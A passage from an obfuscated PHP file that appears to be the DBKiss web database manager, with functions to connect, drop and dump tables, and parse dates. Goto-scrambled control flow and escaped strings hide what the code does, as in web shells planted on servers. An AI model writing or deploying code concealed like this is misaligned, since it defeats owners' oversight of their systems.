"name="drop_table"type="hidden"></form><a href="javascript:void(0)"onclick='confirm("DROP TABLE<?php  echo AttributeValue($table_enq); ?>
?")&&document.forms.drop_<?php  echo $table; ?>
.submit()'>Drop</a></td></tr><?php  } goto yoJj3; CUIEU: layout(); goto LkUv0; oBJjW: function ParseTime($string, $now_unix = null) { static $static_now; if (!isset($static_now)) { $static_now = time(); } if (isset($now_unix)) { $now = $now_unix; } else { $now = $static_now; } static $static_hour; if (!isset($static_hour)) { $static_hour = (int) date("\x48", $static_now); } if (isset($now_unix)) { $now_hour = (int) date("\x48", $now_unix); } else { $now_hour = $static_hour; } static $static_minute; if (!isset($static_minute)) { $static_minute = (int) date("\x69", $static_now); } if (isset($now_unix)) { $now_minute = (int) date("\x69", $now_unix); } else { $now_minute = $static_minute; } static $static_second; if (!isset($static_second)) { $static_second = (int) date("\163", $static_now); } if (isset($now_unix)) { $now_second = (int) date("\x73", $now_unix); } else { $now_second = $static_second; } static $static_month; if (!isset($static_month)) { $static_month = (int) date("\x6e", $static_now); } if (isset($now_unix)) { $now_month = (int) date("\156", $now_unix); } else { $now_month = $static_month; } static $static_day; if (!isset($static_day)) { $static_day = (int) date("\152", $static_now); } if (isset($now_unix)) { $now_day = (int) date("\x6a", $now_unix); } else { $now_day = $static_day; } static $static_year; if (!isset($static_year)) { $static_year = (int) date("\131", $static_now); } if (isset($now_unix)) { $now_year = (int) date("\131", $now_unix); } else { $now_year = $static_year; } static $static_dayofweek; if (!isset($static_dayofweek)) { $static_dayofweek = (int) date("\167", $static_now); if (0 == $static_dayofweek) { $static_dayofweek = 7; } } if (isset($now_unix)) { $now_dayofweek = (int) date("\167", $now_unix); if (0 == $now_dayofweek) { $now_dayofweek = 7; } } else { $now_dayofweek = $static_dayofweek; } static $win_chars = "\xb9\xe6\xea\263\361\xf3\x9c\237\xbf\xa5\306\xca\243\xd1\323\x8c\x8f\xaf"; static $iso_chars = "\261\xe6\xea\263\xf1\xf3\266\xbc\277\xa1\306\xca\xa3\xd1\xd3\xa6\254\257"; static $notail_chars = "\x61\143\x65\154\x6e\157\x73\x7a\x7a\x41\x43\x45\x4c\x4e\117\x53\x5a\132"; static $utf_map = array("\xc4\x85" => "\141", "\xc4\204" => "\x41", "\xc4\207" => "\143", "\304\x86" => "\103", "\xc4\x99" => "\145", "\xc4\230" => "\105", "\xc5\x82" => "\x6c", "\305\201" => "\x4c", "\xc3\263" => "\157", "\303\223" => "\x4f", "\305\233" => "\163", "\xc5\232" => "\123", "\305\272" => "\172", "\305\271" => "\x5a", "\xc5\274" => "\x7a", "\xc5\273" => "\132", "\xc5\x84" => "\156", "\305\203" => "\116"); $string = strtr($string, $win_chars, $notail_chars); $string = strtr($string, $iso_chars, $notail_chars); $string = strtr($string, $utf_map); $string = strtolower($string); static $replace_keys = array("\156\x65\170\164", "\154\x61\x73\164", "\x70\162\145\x76\x69\x6f\x75\x73", "\x70\x72\x65\166", "\x6e\x61\x73\x74\145\x70\156\x79", "\x70\157\160\162\172\x65\x64\156\x69", "\x6f\163\164\141\164\156\x69"); static $replace_vals = array("\53\61", "\55\61", "\55\x31", "\55\61", "\x2b\x31", "\x2d\x31", "\55\x31"); $string = str_replace($replace_keys, $replace_vals, $string); $string = preg_replace("\x23\50\134\142\x29\x28\x69\156\174\141\164\x7c\141\156\x64\x7c\x7a\x61\x7c\x6f\x72\x61\x7a\174\x6f\174\x69\x29\x28\x5c\142\x29\x23", "\x24\61\44\63", $string); $string = preg_replace("\43\50\134\144\x2b\x29\x5c\55\77\50\x73\x74\174\156\x64\x7c\162\144\x7c\x74\x68\x29\50\134\163\x29\43\x69", "\x24\x31\x24\x33", $string); $string = preg_replace("\x23\50\x5c\x64\53\51\134\x2d\77\x28\x73\x7a\x79\x7c\x67\151\x7c\143\x69\x7c\x74\x79\x7c\x6d\x79\51\50\x5c\163\x29\x23\x69", "\x24\61\x24\63", $string); $start_year = $now_year; $start_month = $now_month; $start_day = $now_day; $start_hour = $now_hour; $start_minute = $now_minute; $start_second = $now_second; if (preg_match("\43\50\x5c\x64\134\x64\x29\x5c\x2e\x28\x5c\x64\x5c\144\x29\50\134\56\50\134\144\x5c\144\134\x64\x5c\x64\51\x29\77\43", $string, $match)) { $string = preg_replace("\x23" . preg_quote($match[0], "\x23") . "\43", '', $string, 1); $start_day = (int) $match[1]; $start_month = (int) $match[2]; if (isset($match[3])) { $start_year = (int) $match[4]; } else { $start_year = $now_year; } } if (preg_match("\43\50\x5c\144\134\144\x5c\144\x5c\x64\x29\50\55\x28\x5c\144\x5c\x64\x29\50\x2d\x28\x5c\144\x5c\144\x29\x29\x29\x3f\x23", $string, $match)) { $string = preg_replace("\x23" . preg_quote($match[0], "\43") . "\x23", '', $string, 1); $start_year = (int) $match[1]; if (isset($match[2])) { $start_month = (int) $match[3]; if (isset($match[4])) { $start_day = (int) $match[5]; } else { $start_day = 1; } } else { $start_month = 1; $start_day = 1; } } $HoursFound = false; if (preg_match("\x23\x28\x5c\x64\x5c\144\51\x3a\50\x5c\144\134\144\51\x28\x3a\50\x5c\x64\134\144\x29\51\77\43\151", $string, $match)) { $HoursFound = true; $string = preg_replace("\43" . preg_quote($match[0], "\x23") . "\x23", '', $string, 1); $start_hour = (int) $match[1]; $start_minute = (int) $match[2]; if (isset($match[3])) { $start_second = (int) $match[4]; } else { $start_second = 0; } } $start_time = mktime($start_hour, $start_minute, $start_second, $start_month, $start_day, $start_year); preg_match_all("\43\x28\x5b\53\x2d\135\51\x3f\x5c\163\52\50\x5c\x64\x2b\x29\77\134\163\52\x28\133\x61\55\x7a\x5f\135\53\50\x5c\50\x5c\51\51\77\x29\x23\x69", $string, $matches); foreach ($matches[0] as $k => $match0) { $match1 = $matches[1][$k]; $match2 = $matches[2][$k]; $match3 = $matches[3][$k]; $sign = "\x2b"; if ($match1) { $sign = $match1; } if (strlen($match2)) { $number = (int) $match2; } else { $number = 1; } $word = $match3; if ("\165\x6e\151\x78\x5f\164\x69\x6d\x65\x73\164\x61\x6d\160" == $word || "\143\165\162\x72\145\x6e\x74\137\x74\151\155\x65\163\x74\x61\155\x70" == $word || "\156\x6f\x77" == $word || "\164\151\x6d\145" == $word || "\x6e\157\167\x28\51" == $word || "\x74\x69\x6d\145\50\x29" == $word || "\x74\x65\162\141\172" == $word || "\143\172\x61\163" == $word) { $start_time = $now; $string = preg_replace("\x23" . preg_quote($match0, "\x23") . "\x23", '', $string, 1); continue; } if ("\x74\157\x64\x61\171" == $word || "\144\172\151\163\151\x61\152" == $word || "\144\172\151\163" == $word) { if ($HoursFound) { $start_time = mktime($start_hour, $start_minute, $start_second, $now_month, $now_day, $now_year); } else { $start_time = mktime(0, 0, 0, $now_month, $now_day, $now_year); } $string = preg_replace("\43" . preg_quote($match0, "\x23") . "\x23", '', $string, 1); continue; } if ("\164\157\155\157\162\162\x6f\x77" == $word || "\152\165\x74\162\157" == $word) { if ($HoursFound) { $start_time = mktime($start_hour, $start_minute, $start_second, $now_month, $now_day, $now_year); } else { $start_time = mktime(0, 0, 0, $now_month, $now_day, $now_year); } $start_time = $start_time + 3600 * 24; $string = preg_replace("\x23" . preg_quote($match0, "\43") . "\43", '', $string, 1); continue; } if ("\x70\157\152\165\x74\162\172\145" == $word) { if ($HoursFound) { $start_time = mktime($start_hour, $start_minute, $start_second, $now_month, $now_day, $now_year); } else { $start_time = mktime(0, 0, 0, $now_month, $now_day, $now_year); } $start_time = $start_time + 3600 * 24 * 2; $string = preg_replace("\x23" . preg_quote($match0, "\x23") . "\x23", '', $string, 1); continue; } if ("\171\145\x73\x74\145\162\144\x61\171" == $word || "\167\x63\x7a\x6f\x72\141\x6a" == $word) { if ($HoursFound) { $start_time = mktime($start_hour, $start_minute, $start_second, $now_month, $now_day, $now_year); } else { $start_time = mktime(0, 0, 0, $now_month, $now_day, $now_year); } $start_time = $start_time - 3600 * 24; $string = preg_replace("\43" . preg_quote($match0, "\x23") . "\43", '', $string, 1); continue; } if ("\160\x72\172\145\144\167\143\172\157\x72\x61\152" == $word) { $start_time = $start_time - 3600 * 24 * 2; $string = preg_replace("\43" . preg_quote($match0, "\x23") . "\43", '', $string, 1); continue; } if ("\x79" == $word || "\171\x65\x61\162" == $word || "\171\145\141\162\163" == $word || "\162" == $word || "\162\x6f\x6b" == $word || "\x6c\141\x74\141" == $word || "\x6c\x61\x74" == $word) { $temp_hour = (int) date("\110", $start_time); $temp_minute = (int) date("\x69", $start_time); $temp_second = (int) date("\x73", $start_time); $temp_month = (int) date("\156", $start_time); $temp_day = (int) date("\x6a", $start_time); $temp_year = (int) date("\131", $start_time); if ("\x2b" == $sign) { $temp_year = $temp_year + $number; } else { $temp_year = $temp_year - $number; } for ($i = 1; $i <= 5; ++$i) { if (5 == $i) { return 0; } $test_time = mktime($temp_hour, $temp_minute, $temp_second, $temp_month, $temp_day, $temp_year); $new_month = (int) date("\156", $test_time); if ($new_month == $temp_month) { $start_time = $test_time; break; } else { --$temp_day; } } $string = preg_replace("\43" . preg_quote($match0, "\43") . "\43", '', $string, 1); continue; } if ("\x6d" == $word || "\155\x6f\156\164\x68" == $word || "\155\157\x6e\164\x68\163" == $word || "\155\151\x65\x73" == $word || "\155\x69\145\x73\x69\141\x63" == $word || "\155\151\145\163\151\141\143\145" == $word || "\155\x69\145\x73\151\x65\143\171" == $word) { $temp_hour = (int) date("\110", $start_time); $temp_minute = (int) date("\151", $start_time); $temp_second = (int) date("\163", $start_time); $temp_month = (int) date("\x6e", $start_time); $temp_day = (int) date("\x6a", $start_time); $temp_year = (int) date("\x59", $start_time); $temp_number = abs($number); while ($temp_number > 0) { if ("\53" == $sign) { $temp_month = $temp_month + 1; } else { $temp_month = $temp_month - 1; } if (13 == $temp_month) { $temp_month = 1; $temp_year = $temp_year + 1; } else { if (0 == $temp_month) { $temp_month = 12; $temp_year = $temp_year - 1; } } $temp_number--; } for ($i = 1; $i <= 5; ++$i) { if (5 == $i) { return 0; } $test_time = mktime($temp_hour, $temp_minute, $temp_second, $temp_month, $temp_day, $temp_year); $new_day = (int) date("\x6a", $test_time); if ($temp_day >= 28 && in_array($new_day, array(1, 2, 3, 4))) { --$temp_day; } else { $start_time = $test_time; break; } } $string = preg_replace("\43" . preg_quote($match0, "\x23") . "\x23", '', $string, 1); continue; } if ("\x64" == $word || "\x64\x61\171" == $word || "\144\x61\x79\x73" == $word || "\144\172" == $word || "\x64\172\151\145\x6e" == $word || "\144\x6e\x69" == $word) { $secs = 3600 * 24; if ("\x2b" == $sign) { $start_time = $start_time + $secs * $number; } else { $start_time = $start_time - $secs * $number; } $string = preg_replace("\x23" . preg_quote($match0, "\43") . "\x23", '', $string, 1); continue; } if ("\x68" == $word || "\150\x6f\165\x72" == $word || "\x68\x6f\165\162\x73" == $word || "\x67" == $word || "\x67\x6f\x64\x7a" == $word || "\x67\x6f\x64\x7a\x69\x6e" == $word || "\x67\157\144\x7a\151\156\141" == $word || "\x67\x6f\x64\x7a\x69\156\x79" == $word) { if ("\x2b" == $sign) { $start_time = $start_time + 3600 * $number; } else { $start_time = $start_time - 3600 * $number; } $string = preg_replace("\x23" . preg_quote($match0, "\x23") . "\x23", '', $string, 1); continue; } if ("\x69" == $word || "\155\x69\156" == $word || "\155\x69\156\x75\x74\145" == $word || "\x6d\x69\x6e\x75\x74\x65\x73" == $word || "\x6d\x69\x6e\165\x74\141" == $word || "\155\x69\156\165\x74\171" == $word || "\155\151\156\x75\164" == $word) { if ("\x2b" == $sign) { $start_time = $start_time + 60 * $number; } else { $start_time = $start_time - 60 * $number; } $string = preg_replace("\x23" . preg_quote($match0, "\43") . "\43", '', $string, 1); continue; } if ("\x73" == $word || "\163\145\x63" == $word || "\163\145\x63\x6f\156\144" == $word || "\x73\145\x63\157\x6e\x64\163" == $word || "\163\145\x6b" == $word || "\163\145\x6b\x75\x6e\x64\141" == $word || "\x73\145\153\165\x6e\x64\171" == $word || "\x73\x65\153\165\156\x64" == $word) { if ("\x2b" == $sign) { $start_time = $start_time + 1 * $number; } else { $start_time = $start_time - 1 * $number; } $string = preg_replace("\x23" . preg_quote($match0, "\x23") . "\43", '', $string, 1); continue; } if ("\x77" == $word || "\x77\x65\x65\153" == $word || "\x77\x65\x65\x6b\163" == $word || "\164" == $word || "\164\x79\144\172" == $word || "\164\171\144\172\x69\x65\x6e" == $word || "\164\x79\x67" == $word || "\x74\171\x67\x6f\144\156\x69\x65" == $word || "\x74\x79\x67\x6f\144\x6e\x69" == $word) { if ("\53" == $sign) { $start_time = $start_time + 3600 * 24 * 7 * $number; } else { $start_time = $start_time - 3600 * 24 * 7 * $number; } $string = preg_replace("\x23" . preg_quote($match0, "\43") . "\43", '', $string, 1); continue; } static $months = array("\x6a\x61\156\165\141\162\x79" => 1, "\152\x61\x6e" => 1, "\146\145\142\162\x75\x61\162\171" => 2, "\146\x65\142" => 2, "\155\x61\162\143\x68" => 3, "\155\141\162" => 3, "\x61\x70\162\x69\x6c" => 4, "\x61\160\x72" => 4, "\x6d\x61\171" => 5, "\x6a\165\156\145" => 6, "\x6a\165\x6e" => 6, "\152\x75\154\171" => 7, "\152\x75\x6c" => 7, "\141\165\147\x75\x73\164" => 8, "\x61\165\147" => 8, "\x73\145\x70\164\145\155\x62\145\162" => 9, "\163\x65\x70" => 9, "\157\x63\x74\x6f\x62\x65\x72" => 10, "\157\143\164" => 10, "\x6e\157\x76\x65\155\x62\145\162" => 11, "\x6e\157\x76" => 11, "\x64\145\x63\x65\155\142\145\162" => 12, "\144\x65\x76" => 12, "\x73\164\x79\143\x7a\x65\x6e" => 1, "\x73\164\171\143\x7a\x6e\151\141" => 1, "\x73\164\171" => 1, "\x6c\x75\164\x79" => 2, "\154\165\164\145\147\157" => 2, "\154\165\x74" => 2, "\155\x61\162\x7a\145\x63" => 3, "\x6d\x61\162\x63\141" => 3, "\155\x61\x72" => 3, "\153\167\x69\x65\143\151\x65\x6e" => 4, "\153\167\x69\145\x74\x6e\x69\x61" => 4, "\x6b\x77\151" => 4, "\155\x61\152\x61" => 5, "\x6d\x61\152" => 5, "\143\172\x65\x72\x77\151\145\143" => 6, "\x63\172\x65\x72\167\x63\141" => 6, "\x63\172\145" => 6, "\154\151\160\151\x65\143" => 7, "\x6c\151\x70\x63\x61" => 7, "\154\151\x70" => 7, "\163\x69\145\162\x70\151\x65\156" => 8, "\163\x69\145\162\x70\x6e\151\x61" => 8, "\163\151\145" => 8, "\x77\x72\172\x65\163\x69\x65\156" => 9, "\x77\x72\172\x65\163\x6e\151\141" => 9, "\167\162\172" => 9, "\160\141\x7a\x64\x7a\151\145\x72\x6e\151\153\141" => 10, "\x70\141\x7a\x64\172\x69\145\162\156\x69\153" => 10, "\160\x61\x7a", "\154\151\163\164\x6f\160\x61\144\x61" => 11, "\154\151\x73\x74\x6f\160\x61\144" => 11, "\154\x69\163" => 11, "\147\x72\x75\144\x7a\151\145\305\x84" => 12, "\147\x72\165\x64\x6e\x69\141" => 12, "\147\x72\x75" => 12); if (array_key_exists($word, $months)) { if (!$number) { return 0; } $year = (int) date("\131", $start_time); $hour = (int) date("\x48", $start_time); $minute = (int) date("\x69", $start_time); $second = (int) date("\163", $start_time); $day = $number; $month = $months[$word]; $start_time = mktime($hour, $minute, $second, $month, $day, $year); $string = preg_replace("\43" . preg_quote($match0, "\43") . "\x23", '', $string, 1); continue; } if (in_array($word, array("\x6d\157\x6e\144\x61\x79", "\155\157\x6e", "\164\165\x65\163\x64\141\171", "\x74\165\x65", "\167\145\x64\156\145\163\x64\x61\171", "\x77\145\144", "\x74\x68\165\x72\x73\x64\x61\x79", "\164\150\165", "\146\162\151\x64\141\x79", "\146\162\151", "\x73\x61\x74\165\x72\x64\141\x79", "\x73\x61\164", "\x73\165\x6e\144\141\171", "\163\x75\x6e")) || in_array($word, array("\x70\x6f\156\151\x65\x64\172\151\x61\154\x65\x6b", "\160\x6f\156", "\167\164\157\x72\x65\x6b", "\167\x74\157", "\x73\x72\157\x64\141", "\x73\x72\157", "\143\172\x77\x61\162\x74\145\153", "\x63\x7a\167", "\x70\151\x61\164\145\x6b", "\160\151\x61", "\163\x6f\142\157\x74\141", "\163\x6f\142", "\x6e\x69\x65\x64\x7a\151\145\154\x61", "\156\x69\x65"))) { $daynum = str_replace(array("\x6d\x6f\156\x64\x61\x79", "\164\165\x65\x73\144\141\x79", "\x77\x65\144\156\145\x73\144\141\x79", "\x74\x68\165\162\x73\x64\x61\171", "\146\x72\x69\x64\x61\x79", "\163\x61\x74\165\x72\144\x61\x79", "\x73\165\x6e\x64\x61\x79", "\155\157\156", "\164\x75\x65", "\167\145\144", "\164\150\x75", "\x66\162\151", "\x73\x61\164", "\163\x75\x6e", "\160\x6f\156\151\145\144\172\x69\141\x6c\145\153", "\167\x74\157\162\145\153", "\x73\x72\x6f\x64\141", "\x63\172\167\141\162\x74\x65\153", "\x70\151\x61\164\x65\153", "\163\157\142\x6f\164\x61", "\x6e\x69\x65\x64\x7a\x69\145\154\141", "\160\x6f\x6e", "\x77\x74\x6f", "\x73\162\157", "\x63\172\x77", "\x70\x69\x61", "\163\157\x62", "\x6e\151\145"), array(1, 2, 3, 4, 5, 6, 7, 1, 2, 3, 4, 5, 6, 7, 1, 2, 3, 4, 5, 6, 7, 1, 2, 3, 4, 5, 6, 7), $word); if ("\53" == $sign) { if ($daynum == $now_dayofweek) { $days = 7; } else { if ($daynum > $now_dayofweek) { $days = $daynum - $now_dayofweek; } else { $days = 7 - $now_dayofweek + $daynum; } } assert($days >= 1 && $days <= 7); if ($number >= 2) { $start_time = $start_time + 3600 * 24 * $days + 7 * ($number - 1); } else { $start_time = $start_time + 3600 * 24 * $days; } } else { if ($daynum == $now_dayofweek) { $days = 7; } else { if ($daynum > $now_dayofweek) { $days = 7 - ($daynum - $now_dayofweek); } else { $days = $now_dayofweek - $daynum; } } assert($days >= 1 && $days <= 7); if ($number >= 2) { $start_time = $start_time - 3600 * 24 * $days - 7 * ($number - 1); } else { $start_time = $start_time - 3600 * 24 * $days; } } $string = preg_replace("\x23" . preg_quote($match0, "\x23") . "\43", '', $string, 1); continue; } return 0; } if (trim($string)) { return 0; } else { return $start_time; } } goto s2HaZ; uj5Vb: $charset1[] = $db_charset; goto UlPRH; vx48C: GET("\x74\141\142\x6c\145\137\x66\x69\x6c\164\x65\x72", "\x73\x74\x72\x69\156\x67"); goto ct3MZ; SwYh_: function query_upper($sql) { return $sql; $queries = preg_split("\x23\x3b\x28\x5c\163\52\55\x2d\133\x20\x9\x5c\123\135\52\x29\x3f\50\xd\12\174\12\x7c\xd\x29\43\x55", $sql); foreach ($queries as $k => $query) { $strip = query_strip($query); $color = query_color($strip); $sql = str_replace($strip, $color, $sql); } $sql = preg_replace("\x23\74\146\x6f\156\164\40\x63\x6f\154\x6f\x72\75\42\x5c\167\53\42\76\x28\133\136\76\135\x2b\51\74\57\x66\157\x6e\164\76\x23\151\x55", "\x24\61", $sql); return $sql; } goto RO4Mo; rhLuW: define("\x44\102\x4b\111\x53\x53\x5f\126\105\x52\123\111\x4f\x4e", "\x32\56\x30\x30\40\102\x65\164\141"); goto Q5Wnv; KZKEY: echo $db_name_h1 ? $db_name_h1 : $db_name; goto TuOOH; Bp3i2: function db_connect($db_server, $db_name, $db_user, $db_pass) { global $db_driver, $db_link, $db_test; if (!extension_loaded($db_driver)) { trigger_error($db_driver . "\x20\145\170\164\145\x6e\163\x69\x6f\x6e\40\156\x6f\x74\40\154\x6f\141\144\x65\x64", E_USER_ERROR); } if ("\x6d\x79\x73\x71\154" == $db_driver) { ini_set("\155\171\x73\161\154\x2e\x63\157\156\x6e\145\143\164\137\x74\151\155\145\157\165\x74", 3); error_reporting(E_ERROR); $db_link = mysql_connect($db_server, $db_user, $db_pass); error_reporting(-1); if (!is_resource($db_link)) { if ($db_test) { $db_test = "\x6d\x79\163\x71\154\x5f\143\x6f\x6e\156\x65\x63\x74\50\51\x20\146\x61\151\x6c\x65\x64\x3a\40" . ConvertPolishToUTF8(db_error()); return; } else { cookie_del("\x64\142\x5f\x70\141\x73\163"); cookie_del("\144\x62\x5f\156\141\x6d\x65"); ConnectError("\x6d\171\x73\161\154\137\x63\x6f\156\x6e\x65\x63\x74\50\x29\40\146\141\x69\x6c\145\144\x3a\40" . db_error()); } } if (!@mysql_select_db($db_name, $db_link)) { $error = db_error(); db_close(); if ($db_test) { $db_test = "\x6d\x79\x73\161\154\137\x73\x65\154\145\x63\164\137\144\142\x28\51\40\146\x61\151\154\145\144\x3a\x20" . ConvertPolishToUTF8($error); return; } else { cookie_del("\144\x62\137\x70\x61\x73\163"); cookie_del("\144\142\137\x6e\141\155\x65"); ConnectError("\x6d\171\163\161\154\137\x73\145\x6c\145\143\x74\137\x64\142\x28\x29\x20\146\x61\x69\154\145\x64\x3a\40" . $error); } } } else { if ("\160\x67\163\161\154" == $db_driver) { $conn = sprintf("\150\x6f\163\164\75\47\x25\163\47\x20\x63\157\x6e\x6e\145\143\x74\137\164\151\155\x65\x6f\165\164\x3d\x33\x20\144\x62\x6e\141\155\145\75\47\x25\163\47\x20\165\x73\x65\162\75\47\45\x73\47\40\160\141\163\163\x77\x6f\x72\144\75\x27\45\x73\x27", $db_server, $db_name, $db_user, $db_pass); error_reporting(E_ERROR); $db_link = pg_connect($conn); error_reporting(-1); if (!is_resource($db_link)) { if ($db_test) { $db_test = db_error(); return; } else { cookie_del("\x64\x62\137\x70\x61\x73\163"); cookie_del("\144\x62\137\156\x61\155\145"); ConnectError(db_error()); } } } } register_shutdown_function("\x64\x62\137\143\x6c\145\141\x6e\x75\160"); } goto zcCvW; GS3tY: function time_micro() { list($usec, $sec) = explode("\x20", microtime()); return (double) $usec + (double) $sec; } goto TApHp; xBGMr: function ht_logout() { $time = time() - 3600 * 48; if (version_compare(PHP_VERSION, "\x35\56\62\56\x30", "\x3e\x3d")) { setcookie(HT_PREFIX . "\150\x74\x5f\x75\163\145\x72", '', $time, HT_PATH, HT_DOMAIN, HT_SECURE, true); setcookie(HT_PREFIX . "\x68\x74\x5f\x70\x61\x73\x73\167\157\162\144", '', $time, HT_PATH, HT_DOMAIN, HT_SECURE, true); } else { setcookie(HT_PREFIX . "\x68\164\137\x75\x73\145\x72", '', $time, HT_PATH, HT_DOMAIN, HT_SECURE); setcookie(HT_PREFIX . "\150\164\x5f\x70\x61\163\x73\167\x6f\x72\x64", '', $time, HT_PATH, HT_DOMAIN, HT_SECURE); } unset($_COOKIE["\x68\x74\x5f\165\163\145\162"]); unset($_COOKIE["\150\x74\137\160\x61\163\x73\x77\x6f\162\x64"]); $loc = $_SERVER["\122\105\121\x55\x45\123\x54\x5f\125\x52\111"]; $loc = preg_replace("\43\133\x5c\x3f\x5c\46\x5d\x68\164\x5c\137\154\x6f\147\x6f\165\164\75\61\x23", '', $loc); if (isset($_SERVER["\x48\124\x54\120\x5f\x52\105\106\x45\x52\105\x52"])) { $loc = $_SERVER["\x48\x54\x54\x50\137\x52\x45\106\x45\122\x45\x52"]; } header("\114\157\143\x61\164\151\157\156\72\40" . $loc); die; } goto M8IUU; nAPku: function dump_table($table, $type) { ob_cleanup(); define("\104\x45\x42\125\107\137\103\x4f\x4e\123\x4f\x4c\x45\x5f\x48\x49\104\x45", 1); set_time_limit(0); global $db_name; header("\103\141\x63\x68\x65\55\143\157\x6e\x74\162\157\154\72\x20\x70\x72\151\x76\x61\164\145"); header("\103\157\156\164\145\x6e\164\55\164\x79\160\x65\72\40\x61\x70\x70\154\151\x63\x61\x74\x69\x6f\x6e\x2f\x6f\143\164\145\x74\x2d\163\x74\162\145\141\155"); header("\103\157\x6e\x74\145\156\164\x2d\x44\x69\163\160\x6f\163\x69\164\x69\157\156\x3a\x20\141\164\164\141\143\150\155\145\x6e\164\73\x20\x66\x69\154\x65\156\141\155\145\x3d" . $table . "\x2e\163\x71\154"); if ("\164\x61\x62\154\145" == $type) { table_structure($table, $type); } else { } table_data($table, $type); die; } goto XQ0qY; RwjnR: echo count($tables); goto j28pU; lKKlK: GET("\145\x78\160\x6f\162\x74", "\x73\164\162\x69\156\x67"); goto frLp0; U3Xs2: function dir_exists($dir) { return file_exists($dir) && !is_file($dir); } goto WFV9f; jTHCb: function rawlayout_start($title = '') { global $page_charset; $flash = flash(); ?>
<!doctypehtml><html><head><meta content="text/html; charset=<?php  echo $page_charset; ?>
"http-equiv="Content-Type"><meta content="noindex, nofollow"name="robots"><title><?php  echo $title; ?>
</title><link href="<?php  echo $_SERVER["\x50\110\x50\137\123\105\x4c\106"]; ?>
?dbkiss_favicon=1"rel="shortcut icon"></head><body><?php  layout(); if ($flash) { echo $flash; } } goto CmqfR; s1X3e: function table_pk($table) { $table_columns = table_columns($table); if (!$table_columns) { return null; } $pk = ''; global $global_columns; foreach ($global_columns[$table] as $column) { if ($column["\x70\x6b"]) { if ($pk) { $pk .= "\72" . $column["\156\x61\x6d\145"]; } else { $pk = $column["\x6e\141\x6d\x65"]; } } } if ($pk) { return $pk; } global $db_driver; if ("\163\x71\x6c\x69\x74\x65" == $db_driver) { $sql = PDO_FetchOne("\x53\105\114\x45\103\x54\x20\x73\161\x6c\x20\106\x52\x4f\x4d\40\x73\161\x6c\x69\164\145\137\x6d\141\163\x74\x65\162\x20\127\x48\105\122\x45\x20\164\171\x70\x65\40\75\40\x27\x76\151\x65\167\x27\40\117\122\40\x74\171\160\x65\75\47\164\x61\x62\154\145\x27\40\101\x4e\x44\40\x6e\141\155\x65\x20\75\x20\72\156\141\155\x65\40", array("\x3a\156\x61\x6d\145" => $table)); if (preg_match("\43\x55\116\111\121\125\105\134\163\52\134\x28\134\x73\52\x28\x22\x3f\134\x77\x2b\x22\x3f\50\134\163\52\x2c\x5c\163\52\42\77\134\167\53\x22\77\x29\x2a\51\134\163\52\134\x29\x23\151", $sql, $match)) { $cols = $match[1]; $cols = str_replace("\42", '', $cols); $cols = preg_replace("\43\134\x73\x2b\43", '', $cols); $cols = str_replace("\54", "\72", $cols); return $cols; } } foreach ($table_columns as $col => $type) { return $col; } } goto x5Koa; JQOqo: $sql_area = $sql_font . "\40\167\151\144\x74\150\x3a\40\67\x30\70\x70\170\x3b\x20\x68\145\x69\x67\150\164\72\40\61\67\x39\x70\x78\x3b\40\x62\x6f\162\x64\145\x72\x3a\40\43\143\143\x63\40\x31\x70\x78\x20\x73\x6f\154\x69\x64\73\x20\142\141\143\153\147\162\x6f\165\156\144\x3a\x20\43\146\71\x66\71\146\71\x3b\x20\x70\x61\x64\144\151\x6e\x67\x3a\40\64\x70\x78\40\x36\x70\x78\73\40"; goto dcUS6; A3L2f: global $_error, $_error_style; goto FbOEO; DPe3G: if ("\x73\161\154\x69\164\145" == $db_driver && $status["\164\157\164\x61\154\x5f\x73\x69\172\145"] > SQLITE_ESTIMATE_COUNT) { $title = $_GET["\160\162\x65\x63\151\163\x65\137\x63\157\165\x6e\164"] ? "\x43\x6c\x69\x63\x6b\x20\164\x6f\40\x44\151\x73\x61\x62\154\145\40\160\x72\x65\x63\151\163\145\x20\143\157\165\x6e\x74\151\x6e\x67" : "\103\154\x69\143\x6b\x20\164\x6f\40\x45\156\141\x62\154\145\x20\x70\x72\x65\x63\151\163\x65\x20\x63\x6f\165\156\x74\x69\x6e\147"; ?>
<th><a href="<?php  echo $_SERVER["\120\110\120\137\123\105\x4c\106"]; ?>
?table_filter=<?php  echo urlencode($_GET["\x74\141\x62\x6c\145\x5f\146\151\x6c\164\145\x72"]); ?>
&precise_count=<?php  echo $_GET["\x70\162\x65\143\151\163\x65\x5f\143\x6f\x75\x6e\x74"] ? 0 : 1; ?>
"class="blue"style="color:#000;text-decoration:underline"title="<?php  echo $title; ?>
"><?php  echo $_GET["\x70\162\145\x63\151\x73\145\137\143\x6f\x75\x6e\164"] ? "\x2a" : "\x7e"; ?>
Count</a></th><?php  } else { ?>
<th>Count</th><?php  } goto O7Jk1; Rw05D: ?>
<a href="javascript:;"class="help"onclick='Tooltip(this,"Help_DumpDatabase")'title="Help: dumping database"></a><div style="display:none"id="Help_DumpDatabase">Dumping database takes into account the <b>table search</b> on the main page.<br>It allows you to dump only the <b>found tables</b>.<br><div style="margin-top:.5em">Do not make mistake by thinking that you are making a dump of the <b>whole database</b>,<br>when in fact you are dumping only <b>some of the tables</b>.</div></div></p><form action="<?php  goto dk9cy; FTNSs: function IsTimestampColumn($column, $value) { if (ctype_digit($value) && preg_match("\43\50\x74\151\x6d\145\x7c\144\x61\164\x65\x7c\165\x6e\151\x78\x7c\x64\141\x74\141\174\x63\x7a\x61\x73\x29\43\151", $column) && $value > 100000000) { return true; } return false; } goto nUlM2; bgIXU: function str_wrap($s, $width, $break = "\40", $omit_tags = false) { if (!isset($_GET["\x66\165\154\x6c\137\x63\x6f\x6e\164\x65\156\164"]) || !isset($_POST["\143\x6f\x6e\x74\x65\x6e\x74"])) { GET("\x66\x75\x6c\154\137\143\157\x6e\x74\x65\x6e\164", "\x62\x6f\x6f\x6c"); POST("\x66\165\154\154\137\x63\157\156\x74\x65\x6e\164", "\142\157\x6f\154"); } $full_content = $_GET["\x66\165\x6c\x6c\x5f\x63\x6f\x6e\164\x65\x6e\x74"] || $_POST["\146\x75\x6c\154\137\143\x6f\156\164\145\156\x74"]; if ($full_content) { $restart = array("\15", "\12"); } else { $restart = array(); } $cnt = 0; $ret = ''; $open_tag = false; $inside_link = false; $A = ord("\x41"); $Z = ord("\132"); for ($i = 0; $i < strlen($s); $i++) { $char = $s[$i]; $nextchar = isset($s[$i + 1]) ? $s[$i + 1] : null; $nextchar2 = isset($s[$i + 2]) ? $s[$i + 2] : null; if ($omit_tags) { if ($char == "\x3c") { $open_tag = true; if ("\141" == $nextchar) { $inside_link = true; } else { if ("\57" == $nextchar && 